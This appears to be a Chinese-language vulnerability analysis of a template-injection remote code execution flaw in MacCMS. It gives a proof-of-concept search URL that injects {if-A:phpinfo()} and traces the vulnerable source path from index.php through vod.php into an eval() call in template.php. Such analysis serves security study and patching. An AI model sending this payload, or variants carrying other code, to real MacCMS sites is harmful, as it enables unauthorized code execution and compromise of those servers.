0x01 前言
emmmm,前言个锤子,干就完事了
0x02 过程
payload:http://192.168.0.110/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}%7D%7Bendif-A%7D)
漏洞发现在 maccms/inc/common/template.php 文件类方法ifex()中的eval语句,这个方法中有有多个eval执行语句,我们选择的最容易利用的一个eval,即在 913行出
<?php
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}
上面的代码中$strif变量是我们可以控制的,命令执行也发现在这里。我们来看看PayLoad的执行流程
在index.php文件。文章开头包含了 inc/conn.php ,而 inc/conn.php 文件又包含了inc/common/template.php文件,该文件会新建一个模板对象
<?php
class AppTpl
{
var $markname,$markpar,$markdes,$markval,$markhtml;
function AppTpl()
{
$this->P = array("vodtypeid"=>-1,"vodtypepid"=>-1,"vodtopicid"=>-1,"arttypeid"=>-1,"arttypepid"=>-1,"arttopicid"=>-1,"auto"=>false,"pg"=>1);
}
// 省略号
$tpl = new AppTpl();
继续看index.php,$m = be(‘get’,’m’); be函数在 /inc/common/function.php 中定义,该函数的功能是调用 addslashes 对参数进行过滤处理
<?php
// 手打省略号
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
define('MAC_MODULE','home');
require("inc/conn.php");
require(MAC_ROOT.'/inc/common/360_safe3.php');
$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];
接下来会对参数m进行分割处理,例如我们Payload中的m=vod-search,会将该值分割成 vod,search。vod的作用是引用/inc/module/vod.php
<?php
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
define('MAC_MODULE','home');
require("inc/conn.php");
require(MAC_ROOT.'/inc/common/360_safe3.php');
$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];
if(empty($ac)){ $ac='vod'; $method='index'; }
$colnum = array("id","pg","year","typeid","class","classid");
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
unset($colnum);
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
$tpl->run();
echo $tpl->H;
?>
我们来看vod.php 文件中$method=search处的代码.
根据Payload,$tpl->P[“wd”]的值为 {if-A:phpinfo()}{endif-A},而且$tpl->H 的内容为vod_search.html中的内容,并且对内容做了替换。
<?php
elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
//if(isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["starring"]) && isN($tpl->P["directed"]) && isN($tpl->P["area"]) && isN($tpl->P["lang"]) && isN($tpl->P["year"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) && isN($tpl->P["typeid"]) && isN($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}
// 省略号
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );
$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
unset($colarr,$valarr);
继续看index.php文件,该文件会调用到ifex()方法,也就是漏洞发生的地方。$this->H的在vod.php文件中已经定义,$labelRule等于/{if-([\s\S]?):([\s\S]+?)}([\s\S]?){endif-\1}/is。然后在$this->H中用这个pattern匹配,结果是一个二维数组,存储在$iar中。而payload中的phpinfo()将存储在$iar[2]中
<?php
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;
$strThen= $iar[3][$m];
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
if (strpos(",".$strThen,$labelRule2)>0){
......
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
......
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
.....
}
0x03 总结
这个漏洞,只要存在能控制输出的内容并且将输出内容设置为 {if-A:phpinfo()}{endif-A} 就能执行任意代码